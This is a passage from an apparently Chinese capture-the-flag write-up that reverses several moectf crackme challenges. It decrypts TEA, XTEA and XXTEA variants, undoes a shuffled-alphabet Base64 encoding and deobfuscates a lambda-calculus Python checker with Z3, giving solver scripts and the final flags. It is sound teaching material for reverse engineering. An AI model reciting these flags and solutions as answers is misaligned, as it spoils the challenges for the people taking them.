        ^ (*(_DWORD *)(4LL * ((v4 >> 11) & 3) + key_addr) + v4); // key[(sum>>11) & 3]
  }
  *p = v6;
  p[1] = v5;
}

这是 XTEA 变体(密钥索引用 sum & 3 和 (sum >> 11) & 3)。解密时 sum 从 -1640531527*32 往回加到 0:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void xtea_decrypt(uint cipher[2], uint key[4])
{
    uint delta = -1640531527 * 32;
    for(int i = 1; i <= 32; i++)
    {
        cipher[1] -= (((cipher[0] >> 5) ^ (16 * cipher[0])) + cipher[0])
                   ^ (key[(delta >> 11) & 3] + delta);
        delta += 1640531527;
        cipher[0] -= (((cipher[1] >> 5) ^ (16 * cipher[1])) + cipher[1])
                   ^ (key[delta & 3] + delta);
    }
}

EXP

把密文、密钥、两个解密函数填进脚本:

1
2
3
4
5
6
7
8
9
uint cipher1[4] = { 0xB3E7E33E, 0xB4114672, 0x8E088C0C, 0x14B2C329 };  // TEA 密文
uint key1[4]    = { 0x12345678, 0x87654321, 0x13572468, 0x24681357 };  // TEA 密钥
uint cipher2[4] = { 0x60EC68AB, 0x940251CE, 0xB427534C, 0xDF435416 };  // XTEA 密文
uint key2[4]    = { 0xDEADBEEF, 0xCAFEBABE, 0x11223344, 0x55667788 };  // XTEA 密钥

tea_decrypt(cipher1, key1);  tea_decrypt(cipher1 + 2, key1);
xtea_decrypt(cipher2, key2); xtea_decrypt(cipher2 + 2, key2);

printf("%.16s%.16s\n", (char *)cipher1, (char *)cipher2);

编译运行:

1
gcc -o tea6solve tea6solve.c && ./tea6solve

输出:moectf{Wh4t_a_n1ce_cup_0f_TEA!!}

总之,TEA / XTEA 加解密的核心是把加密流程完整倒过来:交换更新顺序(先 cipher[1] 后 cipher[0])、加变减、sum 从终值往回走,密钥索引保持不变。

让我们说中文

🥳沙威玛,😋哦沙威玛,😋哦沙威玛,😎有了你,🤨生活美好,🥰没烦恼。🥳沙威玛传奇,😎奇妙至极,😆最棒游戏,😎人人赞叹你。😁如果不紧,🤗那就不对,🤔今晚没番茄,😨否则我会吼叫。😱无论白天,🌞还是夜晚,🌚沙威玛的味道,🍖让我舞动翩翩。😋在酷暑或寒冬,😨沙威玛的爱,😍让食欲浓。

程序分析

沙威玛传奇题,包含 Base64 字母表。

main函数

main函数逻辑:读入 flag → sub_401480(input, len) 处理后与一串 Base64 样式的目标串 strcmp。先看 sub_401480到底是什么。

sub_401480函数

先把输入做 标准 Base64 编码,再把每个字符按一个置换表替换成Six5tarsPJYouNgLlKEw4Ik1nGABCDFHMOQRTUVWXZbcdefhjmpqvyz0236789+/(标准字母表的重排)。

所以流程是:flag → base64编码 → 逐字符替换(标准表→自定义表) → 与目标串比较;

逆推:目标串 → 反向替换回标准表 → base64 解码 = flag。先取出完整目标串。

由于替换是一一映射,直接反向走:

  1. 反替换:对目标串每个字符 c,查 std[cust.index(c)],得到 base64 串。

  2. base64 解码,得到一段 ASCII 十六进制串(390 字符,E788B1E68595...),每两位都是合法 hex。

  3. hex → UTF-8,解出 65 个汉字:

    爱慕欧裔吸踢爱抚左括号大写艾斯小写辟小写役数字四大写克诶下划线小写役艾特美元小写外 下划线大写达不溜数字零数字七小写地小写艾斯右括号

EXP

这一步可以自洽验证:把这段中文按 UTF-8 编码 → 转 hex → base64 → 自定义替换的流程,正好还原成目标串。

1
2
3
4
5
6
7
8
import base64
std  = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
cust = "Six5tarsPJYouNgLlKEw4Ik1nGABCDFHMOQRTUVWXZbcdefhjmpqvyz0236789+/"
t = "KwC2gtPm..."                       # 0x402060 的目标串

rev = "".join(std[cust.index(c)] for c in t)     # 反替换
hexs = base64.b64decode(rev).decode()            # base64 解码 → hex 串
desc = bytes.fromhex(hexs).decode("utf-8")       # hex → 中文

解出来的是一段汉语拼音式口述,用汉字谐音逐字母拼写 flag。

对应关系:

汉字 拼音 字母
慕 mu M
欧 ou O
裔 yi E
吸 xi C
踢 ti T
抚 fu F
艾斯 ai si S
辟 pi P
役 yi E
克 ke K
外 wai Y
达不溜 da bu liu W
地 di D
艾特 at @
美元 dollar $
四 / 零 / 七 4 / 0 / 7
下划线 / 左括号 / 右括号 _ / { / }

逐段读:

爱慕欧裔吸踢爱抚 → 慕欧裔吸踢抚 = moectf (首尾两个"爱"是歌曲装饰)

左括号 → {

大写艾斯 → S

小写辟 → p

小写役 → e

数字四 → 4

大写克 → K

诶 → 语气词,口述停顿,不算字母

下划线 → _

小写役 → e

艾特 → @

美元 → $

小写外 → y

下划线 → _

大写达不溜 → W

数字零 → 0

数字七 → 7

小写地 → d

小写艾斯 → s

右括号 → }

组装就是moectf{Spe4K_e@$y_W07ds}

里面的内容其实是 leet 写法:4=a, @=a, $=s, 0=o, 7=r,解码后是Speak_easy_Words

正好呼应沙威玛那款游戏招牌的塑料英语。

Mewtype

viola 偷偷把 yunoseek 的代码变成了看不懂的样子,哎哟 V 姐怎么这么坏。

程序分析

题目附件:

1
exit(1 - (lambda myk43: (lambda myk7: lambda vol8: lambda myk9: myk7(vol8)(myk9))((lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)(len(myk43) == 54))(lambda: (lambda myk13: lambda vol14: myk13(vol14)(myk13))((lambda myk19: (lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)((myk19 * myk19 * myk19 - myk19) % 6 == 0))(len(myk43)))((lambda myk13: lambda vol14: myk13(vol14)(myk13))((lambda vol0: (lambda myk1: myk1(myk1))(lambda vol2: vol0(lambda *a: vol2(vol2)(*a))))(lambda myk39: lambda vol40: lambda myk41: lambda vol42: (lambda myk7: lambda vol8: lambda myk9: myk7(vol8)(myk9))((lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)(myk41 >= len(vol40) - 1))(lambda: lambda myk3: lambda vol4: myk3)(lambda: (lambda myk13: lambda vol14: myk13(vol14)(myk13))((lambda myk7: lambda vol8: lambda myk9: myk7(vol8)(myk9))((lambda vol18: (lambda myk15: lambda vol16: myk15((lambda vol10: lambda myk11: lambda vol12: vol10(vol12)(myk11))(vol16))(vol16))((lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)((vol18 * vol18 + vol18) % 2 == 0))(lambda myk5: lambda vol6: vol6))(myk41))(lambda: (lambda vol22: lambda myk23: lambda vol24: lambda myk25: lambda vol26: (lambda myk7: lambda vol8: lambda myk9: myk7(vol8)(myk9))((lambda vol20: (lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)(vol20 == 0))(myk25))(lambda: (lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)(vol22 + myk23 + vol24 * vol24 == vol26))((lambda myk7: lambda vol8: lambda myk9: myk7(vol8)(myk9))((lambda myk21: (lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)(myk21 == 1))(myk25))(lambda: (lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)(vol22 * myk23 + vol24 == vol26))(lambda: (lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)(vol22 * vol22 + myk23 * myk23 + vol24 * vol24 * vol24 == vol26)))())(ord(vol40[myk41]))(ord(vol40[myk41 + 1]))(ord(vol40[(myk41 + 17) % len(vol40)]))(vol42)((10111, 11290, 137705, 13834, 12017, 882822, 2861, 6952, 148686, 9290, 9962, 153274, 13069, 9595, 871218, 9834, 10851, 1584472, 9149, 5765, 159511, 9289, 5093, 126222, 11887, 4921, 152566, 13114, 6109, 140607, 13366, 9447, 156018, 9712, 11045, 1795540, 15852, 4864, 1389923, 10278, 5369, 1586542, 10519, 5995, 1281695, 4298, 5674, 963368, 10232, 5085, 880083, 10095, 15119)[myk41] ^ 90))(lambda: (lambda vol22: lambda myk23: lambda vol24: lambda myk25: lambda vol26: (lambda myk7: lambda vol8: lambda myk9: myk7(vol8)(myk9))((lambda vol20: (lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)(vol20 == 0))(myk25))(lambda: (lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)(vol22 + myk23 + vol24 * vol24 == vol26))((lambda myk7: lambda vol8: lambda myk9: myk7(vol8)(myk9))((lambda myk21: (lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)(myk21 == 1))(myk25))(lambda: (lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)(vol22 * myk23 + vol24 == vol26))(lambda: (lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)(vol22 * vol22 + myk23 * myk23 + vol24 * vol24 * vol24 == vol26)))())(ord(vol40[myk41 + 1]))(ord(vol40[myk41]))(ord(vol40[(myk41 + 17) % len(vol40)]))(vol42)((10111, 11290, 137705, 13834, 12017, 882822, 2861, 6952, 148686, 9290, 9962, 153274, 13069, 9595, 871218, 9834, 10851, 1584472, 9149, 5765, 159511, 9289, 5093, 126222, 11887, 4921, 152566, 13114, 6109, 140607, 13366, 9447, 156018, 9712, 11045, 1795540, 15852, 4864, 1389923, 10278, 5369, 1586542, 10519, 5995, 1281695, 4298, 5674, 963368, 10232, 5085, 880083, 10095, 15119)[myk41] ^ 90))())(myk39(vol40)(myk41 + 1)((vol42 + 1) % 3)))())(myk43)(0)(0))((lambda myk13: lambda vol14: myk13(vol14)(myk13))((lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)((lambda vol0: (lambda myk1: myk1(myk1))(lambda vol2: vol0(lambda *a: vol2(vol2)(*a))))(lambda myk27: lambda vol28: lambda myk29: 0 if myk29 == len(vol28) else ord(vol28[myk29]) + myk27(vol28)(myk29 + 1))(myk43)(0) == 5138))((lambda myk13: lambda vol14: myk13(vol14)(myk13))((lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)((lambda vol0: (lambda myk1: myk1(myk1))(lambda vol2: vol0(lambda *a: vol2(vol2)(*a))))(lambda vol30: lambda myk31: lambda vol32: 0 if vol32 == len(myk31) else ord(myk31[vol32]) ^ vol30(myk31)(vol32 + 1))(myk43)(0) == 26))((lambda myk13: lambda vol14: myk13(vol14)(myk13))((lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)((lambda vol0: (lambda myk1: myk1(myk1))(lambda vol2: vol0(lambda *a: vol2(vol2)(*a))))(lambda myk33: lambda vol34: lambda myk35: 0 if myk35 == len(vol34) else ord(vol34[myk35]) * ord(vol34[myk35]) + myk33(vol34)(myk35 + 1))(myk43)(0) == 520600))((lambda myk17: (lambda myk3: lambda vol4: myk3) if myk17 else lambda myk5: lambda vol6: vol6)((lambda vol0: (lambda myk1: myk1(myk1))(lambda vol2: vol0(lambda *a: vol2(vol2)(*a))))(lambda vol36: lambda myk37: lambda vol38: 0 if vol38 == len(myk37) - 1 else ord(myk37[vol38]) * ord(myk37[vol38 + 1]) + vol36(myk37)(vol38 + 1))(myk43)(0) == 467644)))))))(lambda: lambda myk5: lambda vol6: vol6)())(input())(1)(0))

附件是一个 Python flag 校验器,被混淆成一整行 lambda 套 lambda 的"天书"。目标是还原它校验的逻辑,解出 54 个字符的 flag。

这是经典的单行 lambda 混淆(丘奇编码 + Y 组合子)。我认为是纯代码审计。

首先看文件入口:

1
exit(1 - (lambda myk43: ...)(input())(1)(0))

典型的 exit(1 - check(input)) 结构:check 返回 1 则 exit(0)(通过),返回 0 则 exit(1)(失败)。传入 input() 的字符串就是我们要解的 flag。

再看传入参数的形状 (input())(1)(0):(lambda myk43: ...) 是主函数,myk43 = 输入字符串;返回的又是一个可调用对象,继续调用 (1),再调用 (0) —— 说明最外层是个柯里化(currying)结构。

混淆模式识别,代码里反复出现几种固定的 lambda 组合,识别它们就能把"天书"翻译回正常逻辑:

Church 布尔(真/假)

1
2
True  = lambda myk3: lambda vol4: myk3        # 取第一个参数
False = lambda myk5: lambda vol6: vol6        # 取第二个参数

if-then-else

1
(lambda myk7: lambda vol8: lambda myk9: myk7(vol8)(myk9))

即 myk7(vol8)(myk9),布尔值 myk7 选择返回 vol8(真分支)还是 myk9(假分支)。

Y 组合子(递归)

代码里没有 def,递归全部用 Y 组合子实现。出现两种:

  1. 按名调用(call-by-name):

    1
    
    lambda myk13: lambda vol14: myk13(vol14)(myk13)
    
  2. 按值调用(call-by-value):

    1
    
    lambda vol0: (lambda myk1: myk1(myk1))(lambda vol2: vol0(lambda *a: vol2(vol2)(*a)))
    

按值 Y 组合子包装的都是"纯函数"形式的递归,例如求和:

1
2
(lambda myk27: lambda vol28: lambda myk29:
    0 if myk29 == len(vol28) else ord(vol28[myk29]) + myk27(vol28)(myk29 + 1))(myk43)(0)

这其实就是:

1
2
3
def sum_ord(s, i):
    return 0 if i == len(s) else ord(s[i]) + sum_ord(s, i + 1)
sum_ord(input, 0)

用 x if cond else y 的 Python 三元表达式伪装成"分支",掩盖了它本质上是个递归折叠(fold)。

逐个翻译嵌套的 lambda,主函数 myk43 内部依次做了 4 个全局约束的判断(用 Church 布尔连接成 AND 链):

对于长度:len(myk43) == 54

全局约束(对全部 54 个字符):

设 v_i = ord(s[i]):

  1. 字符和:sum(v_i) == 5138

    1
    2
    
    def sum_ord(s, i):
        return 0 if i == len(s) else ord(s[i]) + sum_ord(s, i+1)
    
  2. 异或折叠:v_0 ^ v_1 ^ ... ^ v_53 == 26

    1
    2
    
    def xor_fold(s, i):
        return 0 if i == len(s) else ord(s[i]) ^ xor_fold(s, i+1)
    
  3. 平方和:sum(v_i²) == 520600

  4. 相邻乘积和:sum(v_i * v_{i+1}) == 467644(i = 0..52)

我感觉挺复杂的。

接着再往里是一个"perpos 递归",从 (i=0, mode=0) 开始,每步 (i+1, (mode+1)%3),共 53 步(i = 0..52),每步做一次比较。比较的 5 个参数依次是:

1
2
3
4
5
a = ord(s[i+1])
b = ord(s[i])
c = ord(s[(i+17) % 54]) # 注意这个带 +17 取模的回环索引
mode = i % 3
target = consts[i] ^ 90  # 53 个常量分别异或 0x5A

按 mode 分三种方程(常量表共 53 个,见附录):

mode 方程
0 a + b + c² == target
1 a * b + c == target
2 a² + b² + c³ == target

常量表 consts(53 个):

1
2
3
4
5
6
(10111, 11290, 137705, 13834, 12017, 882822, 2861, 6952, 148686, 9290,
 9962, 153274, 13069, 9595, 871218, 9834, 10851, 1584472, 9149, 5765,
 159511, 9289, 5093, 126222, 11887, 4921, 152566, 13114, 6109, 140607,
 13366, 9447, 156018, 9712, 11045, 1795540, 15852, 4864, 1389923, 10278,
 5369, 1586542, 10519, 5995, 1281695, 4298, 5674, 963368, 10232, 5085,
 880083, 10095, 15119)

^ 90(即 ^ 0x5A)大概率是混淆器加的一层小混淆,把常量表"洗"了一遍。

EXP

54 个未知数、53 个三次方程 + 4 个全局约束,第一反应是丢 Z3。但直接用 Z3 解 54 个非线性 Int 变量会非常慢(跑了几分钟没出结果)。

后来想了个更快的方法是利用方程结构:每条方程只涉及 3 个字符,且给定其中 2 个,第 3 个基本被唯一确定。

mode 0: c = sqrt(target - a - b)

mode 1: c = target - a * b

mode 2: c = cbrt(target - a² - b²)

所以先对每个位置 i(0..52)枚举 a, b ∈ [32, 126],用公式推出 c,筛出所有合法三元组 (a,b,c),把它们变成 Z3 的线性相等约束:

1
2
for i, L in enumerate(cands):
    sol.add(Or([And(s[i+1] == a, s[i] == b, s[(i+17) % 54] == c) for (a,b,c) in L]))

再叠加上 moectf{ 前缀(s[0..6])、结尾 }、以及 4 个全局约束。全部变成线性/布尔约束后 Z3 秒出。

候选数量统计:

1
2
candidates per position: [33, 33, 5, 38, 29, 2, 85, 78, 8, ...]
total triples: 2545

枚举开销:每条方程只需 95×95 ≈ 9k 次内层循环,53 条加起来不到 50 万次,Python 直接秒了。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from z3 import *
import math

consts = (10111, 11290, 137705, 13834, 12017, 882822, 2861, 6952, 148686, 9290,
          9962, 153274, 13069, 9595, 871218, 9834, 10851, 1584472, 9149, 5765,
          159511, 9289, 5093, 126222, 11887, 4921, 152566, 13114, 6109, 140607,
          13366, 9447, 156018, 9712, 11045, 1795540, 15852, 4864, 1389923, 10278,
          5369, 1586542, 10519, 5995, 1281695, 4298, 5674, 963368, 10232, 5085,
          880083, 10095, 15119)

N = 54
R = range(32, 127)

cands = []
for i in range(N - 1):
    t = consts[i] ^ 90
    m = i % 3
    L = []
    if m == 0:
        for a in R:
            for b in R:
                c2 = t - a - b
                c = int(math.isqrt(c2))
                if c * c == c2 and 32 <= c <= 126:
                    L.append((a, b, c))
    elif m == 1:
        for a in R:
            for b in R:
                c = t - a * b
                if 32 <= c <= 126:
                    L.append((a, b, c))
    else:
        for a in R:
            for b in R:
                c3 = t - a * a - b * b
                c = int(round(c3 ** (1.0 / 3.0)))
                for cc in (c - 1, c, c + 1):
                    if cc * cc * cc == c3 and 32 <= cc <= 126:
                        L.append((a, b, cc))
                        break
    cands.append(sorted(set(L)))

s = [Int(f's{i}') for i in range(N)]
sol = Solver()

for v in s:
    sol.add(v >= 32, v <= 127)

flag_prefix = b'moectf{'
for i, c in enumerate(flag_prefix):
    sol.add(s[i] == c)
sol.add(s[N - 1] == ord('}'))

sol.add(sum(s) == 5138)
for k in range(7):                      # xor-fold == 26,按位分解
    bitsum = Sum([If(v % (1 << (k + 1)) >= (1 << k), 1, 0) for v in s])
    sol.add(bitsum % 2 == ((26 >> k) & 1))
sol.add(sum(v * v for v in s) == 520600)
sol.add(sum(s[i] * s[i + 1] for i in range(N - 1)) == 467644)

for i, L in enumerate(cands):
    sol.add(Or([And(s[i + 1] == a, s[i] == b, s[(i + 17) % N] == c) for (a, b, c) in L]))

print(sol.check())
if sol.check() == sat:
    m = sol.model()
    flag = ''.join(chr(m.eval(v).as_long()) for v in s)
    print('FLAG:', flag)

flag:moectf{l@mbd4_c@lcu1us_4r3_h4rd_but_z3_s0lv3r_1s_3asy}

恶心坏了。

请 fanchai 喝茶

你请 fanchai 喝茶!这次轮到你自己来写解密脚本了,祝你解题顺利。

程序分析

分析main函数:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char *p_s; // rsi
  __m128i *v4; // rdi
  __int64 n16; // rcx
  unsigned int n1492265175; // edx
  unsigned __int32 v7; // esi
  unsigned __int32 v8; // ebp
  unsigned __int32 v9; // ebx
  unsigned __int32 v10; // r11d
  unsigned __int32 v11; // r10d
  unsigned __int32 v12; // r9d
  unsigned __int32 v13; // r8d
  unsigned __int32 v14; // edi
  __m128i v15; // xmm0
  __m128i v16; // xmm0
  unsigned __int32 v18; // [rsp+0h] [rbp-E8h]
  unsigned __int32 v19; // [rsp+4h] [rbp-E4h]
  unsigned __int32 v20; // [rsp+8h] [rbp-E0h]
  unsigned __int32 v21; // [rsp+Ch] [rbp-DCh]
  unsigned __int32 v22; // [rsp+10h] [rbp-D8h]
  unsigned __int32 v23; // [rsp+14h] [rbp-D4h]
  unsigned __int32 v24; // [rsp+18h] [rbp-D0h]
  unsigned __int32 v25; // [rsp+1Ch] [rbp-CCh]
  __m128i v26; // [rsp+20h] [rbp-C8h] BYREF
  __m128i v27; // [rsp+30h] [rbp-B8h]
  __m128i v28; // [rsp+40h] [rbp-A8h]
  __m128i v29; // [rsp+50h] [rbp-98h]
  char s[136]; // [rsp+60h] [rbp-88h] BYREF

  fwrite("Input flag: ", 1u, 0xCu, stdout);
  fflush(stdout);
  if ( !fgets(s, 66, stdin) )
    goto LABEL_9;
  s[strcspn(s, "\r\n")] = 0;
  if ( strlen(s) != 64 )
    goto LABEL_9;
  p_s = s;
  v4 = &v26;
  n16 = 16;
  n1492265175 = 0;
  while ( n16 )
  {
    v4->m128i_i32[0] = *(_DWORD *)p_s;
    p_s += 4;
    v4 = (__m128i *)((char *)v4 + 4);
    --n16;
  }
  v7 = v29.m128i_u32[3];
  v8 = v28.m128i_i32[0];
  v9 = v28.m128i_u32[1];
  v10 = v28.m128i_u32[2];
  v11 = v28.m128i_u32[3];
  v25 = v26.m128i_i32[0];
  v12 = v29.m128i_i32[0];
  v13 = v29.m128i_u32[1];
  v14 = v29.m128i_u32[2];
  v20 = v26.m128i_u32[2];
  v24 = v26.m128i_u32[1];
  v19 = v26.m128i_u32[3];
  v23 = v27.m128i_u32[1];
  v18 = v27.m128i_i32[0];
  v21 = v27.m128i_u32[3];
  v22 = v27.m128i_u32[2];
  do
  {
    n1492265175 += 1597463007;
    v25 += ((n1492265175 ^ v24) + (v7 ^ dword_2020[(n1492265175 >> 2) & 3]))
         ^ (((4 * v24) ^ (v7 >> 5)) + ((16 * v7) ^ (v24 >> 3)));
    v24 += (((16 * v25) ^ (v20 >> 3)) + ((4 * v20) ^ (v25 >> 5)))
         ^ ((n1492265175 ^ v20) + (v25 ^ dword_2020[((unsigned __int8)(n1492265175 >> 2) ^ 1) & 3]));
    v20 += (((16 * v24) ^ (v19 >> 3)) + ((4 * v19) ^ (v24 >> 5)))
         ^ ((n1492265175 ^ v19) + (v24 ^ dword_2020[((unsigned __int8)(n1492265175 >> 2) ^ 2) & 3]));
    v19 += (((16 * v20) ^ (v18 >> 3)) + ((4 * v18) ^ (v20 >> 5)))
         ^ ((n1492265175 ^ v18) + (v20 ^ dword_2020[~(unsigned __int8)(n1492265175 >> 2) & 3]));
    v18 += (((16 * v19) ^ (v23 >> 3)) + ((4 * v23) ^ (v19 >> 5)))
         ^ ((n1492265175 ^ v23) + (v19 ^ dword_2020[(n1492265175 >> 2) & 3]));
    v23 += (((16 * v18) ^ (v22 >> 3)) + ((4 * v22) ^ (v18 >> 5)))
         ^ ((n1492265175 ^ v22) + (v18 ^ dword_2020[((unsigned __int8)(n1492265175 >> 2) ^ 5) & 3]));
    v22 += (((16 * v23) ^ (v21 >> 3)) + ((4 * v21) ^ (v23 >> 5)))
         ^ ((n1492265175 ^ v21) + (v23 ^ dword_2020[((unsigned __int8)(n1492265175 >> 2) ^ 6) & 3]));
    v21 += (((16 * v22) ^ (v8 >> 3)) + ((4 * v8) ^ (v22 >> 5)))
         ^ ((v8 ^ n1492265175) + (v22 ^ dword_2020[((unsigned __int8)(n1492265175 >> 2) ^ 7) & 3]));
    v8 += (((16 * v21) ^ (v9 >> 3)) + ((4 * v9) ^ (v21 >> 5)))
        ^ ((v9 ^ n1492265175) + (v21 ^ dword_2020[(n1492265175 >> 2) & 3]));
    v9 += (((16 * v8) ^ (v10 >> 3)) + ((4 * v10) ^ (v8 >> 5)))
        ^ ((v10 ^ n1492265175) + (v8 ^ dword_2020[((unsigned __int8)(n1492265175 >> 2) ^ 9) & 3]));
    v10 += (((16 * v9) ^ (v11 >> 3)) + ((4 * v11) ^ (v9 >> 5)))
         ^ ((v11 ^ n1492265175) + (v9 ^ dword_2020[((unsigned __int8)(n1492265175 >> 2) ^ 0xA) & 3]));
    v11 += (((16 * v10) ^ (v12 >> 3)) + ((4 * v12) ^ (v10 >> 5)))
         ^ ((v12 ^ n1492265175) + (v10 ^ dword_2020[((unsigned __int8)(n1492265175 >> 2) ^ 0xB) & 3]));
    v12 += (((16 * v11) ^ (v13 >> 3)) + ((4 * v13) ^ (v11 >> 5)))
         ^ ((v13 ^ n1492265175) + (v11 ^ dword_2020[(n1492265175 >> 2) & 3]));
    v13 += (((v12 >> 5) ^ (4 * v14)) + ((v14 >> 3) ^ (16 * v12)))
         ^ ((v14 ^ n1492265175) + (v12 ^ dword_2020[((unsigned __int8)(n1492265175 >> 2) ^ 0xD) & 3]));
    v14 += (((v13 >> 5) ^ (4 * v7)) + ((v7 >> 3) ^ (16 * v13)))
         ^ ((v7 ^ n1492265175) + (v13 ^ dword_2020[((unsigned __int8)(n1492265175 >> 2) ^ 0xE) & 3]));
    v7 += (((16 * v14) ^ (v25 >> 3)) + ((4 * v25) ^ (v14 >> 5)))
        ^ ((n1492265175 ^ v25) + (v14 ^ dword_2020[((unsigned __int8)(n1492265175 >> 2) ^ 0xF) & 3]));
  }
  while ( n1492265175 != 1492265175 );
  v28.m128i_i64[0] = __PAIR64__(v9, v8);
  v26.m128i_i64[0] = __PAIR64__(v24, v25);
  v28.m128i_i64[1] = __PAIR64__(v11, v10);
  v26.m128i_i64[1] = __PAIR64__(v19, v20);
  v29.m128i_i64[0] = __PAIR64__(v13, v12);
  v27.m128i_i64[0] = __PAIR64__(v23, v18);
  v29.m128i_i64[1] = __PAIR64__(v7, v14);
  v27.m128i_i64[1] = __PAIR64__(v21, v22);
  v15 = _mm_or_si128(
          _mm_or_si128(
            _mm_xor_si128(_mm_load_si128((const __m128i *)&xmmword_2030), v27),
            _mm_xor_si128(_mm_load_si128((const __m128i *)&xmmword_2040), v26)),
          _mm_or_si128(
            _mm_xor_si128(_mm_load_si128((const __m128i *)&xmmword_2050), v29),
            _mm_xor_si128(_mm_load_si128((const __m128i *)&xmmword_2060), v28)));
  v16 = _mm_or_si128(v15, _mm_srli_si128(v15, 8));
  if ( !_mm_cvtsi128_si32(_mm_or_si128(v16, _mm_srli_si128(v16, 4))) )
  {
    puts("Correct!");
    return 0;
  }
  else
  {
LABEL_9:
    puts("Wrong.");
    return 1;
  }
}

这是一个 XXTEA 类分组密码(16 个字、16 轮更新,v[i] += ((sum^v[i+1]) + (key^v[i-1])) ^(((v[i+1]<<2)^(v[i-1]>>5)) + ((v[i-1]<<4)^(v[i+1]>>3)))),只是 delta 换成了 0x5F3759DF(Quake 快速开方的魔数),循环到 sum==0x58F228D7 结束。需要取回 key 和密文常量。

main 函数结构很简单:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
fwrite("Input flag: ", 1, 0xC, stdout);
fflush(stdout);
if (!fgets(s, 66, stdin)) goto fail;
s[strcspn(s, "\r\n")] = 0;
if (strlen(s) != 64) goto fail;          // 长度必须是 64

// 读入 16 个 32 位字
for (i = 0; i < 16; i++)
    state[i] = *(DWORD *)(s + 4*i);

// 跑一个分组密码
do {
    sum += 0x5F3759DF;
    ...16 次 v[i] += ...
} while (sum != 0x58F228D7);

// 与 .rodata 的 4 个 xmmword 比对,全零则 Correct!
if (state == ciphertext) puts("Correct!"); else puts("Wrong.");

就是输入 flag → 加密 → 与固定密文比较。所以 flag = decrypt(固定密文)。

看中间那段 16 轮更新,每轮都是同样形状:

1
2
3
v0 += ((sum ^ v1)  + (key[k] ^ v15)) ^ (((v1  << 2) ^ (v15 >> 5)) + ((v15 << 4) ^ (v1  >> 3)));
v1 += ((sum ^ v2)  + (key[k] ^ v0))  ^ (((v2  << 2) ^ (v0  >> 5)) + ((v0  << 4) ^ (v2  >> 3)));
...

这就是经典的 XXTEA(Tiny Encryption Algorithm 的扩展版):

1
2
v[p] += ((sum ^ v[p+1]) + (key[(p&3)^e] ^ v[p-1]))
      ^ (((v[p+1] << 2) ^ (v[p-1] >> 5)) + ((v[p-1] << 4) ^ (v[p+1] >> 3)))

其中 e = (sum >> 2) & 3,sum 每轮加 delta。

非标准点:标准 XXTEA 的 delta 是 0x9E3779B9,这里换成了 0x5F3759DF(Quake III 快速开方著名的魔数),轮数也不再写死,而是让 sum 一直加到 0x58F228D7。

循环:

1
2
sum = 0;
do { sum += 0x5F3759DF; ...整轮更新...; } while (sum != 0x58F228D7);

sum 每次加 delta,循环到 sum == 0x58F228D7 停止,即求最小的 k 满足:

1
k × 0x5F3759DF ≡ 0x58F228D7  (mod 2^32)

0x5F3759DF 是奇数,与 2^32 互质,模逆唯一:

1
2
inv = pow(0x5F3759DF, -1, 1 << 32)
k = (0x58F228D7 * inv) % (1 << 32)   # = 9

共 9 轮,正好等于 XXTEA 标准 q = 6 + 52/16 ≈ 9。

key的获取:

.rodata 0x2020 处 16 字节(按 4 个 dword 读作 key):

1
43 45 4F 4D | 30 32 46 54 | 58 58 36 32 | 21 41 45 54

即 key = (0x4D4F4543, 0x54463230, 0x32365858, 0x54454121),字节串就是 "COEM02FTXX62!AET"。

.rodata 0x2030~0x2060 是 4 个 xmmword(64 字节 = 16 个 dword),字节序小端。但对比代码用的是:

1
v15 = (xmm_2030 ^ v27) | (xmm_2040 ^ v26) | (xmm_2050 ^ v29) | (xmm_2060 ^ v28);

状态里 v26 = w0..w3、v27 = w4..w7、v28 = w8..w11、v29 = w12..w15,所以明文状态 w 与密文常量 c 的对应是打乱的:

状态字 对比的 xmmword
w0..w3 xmm_2040 (c4..c7)
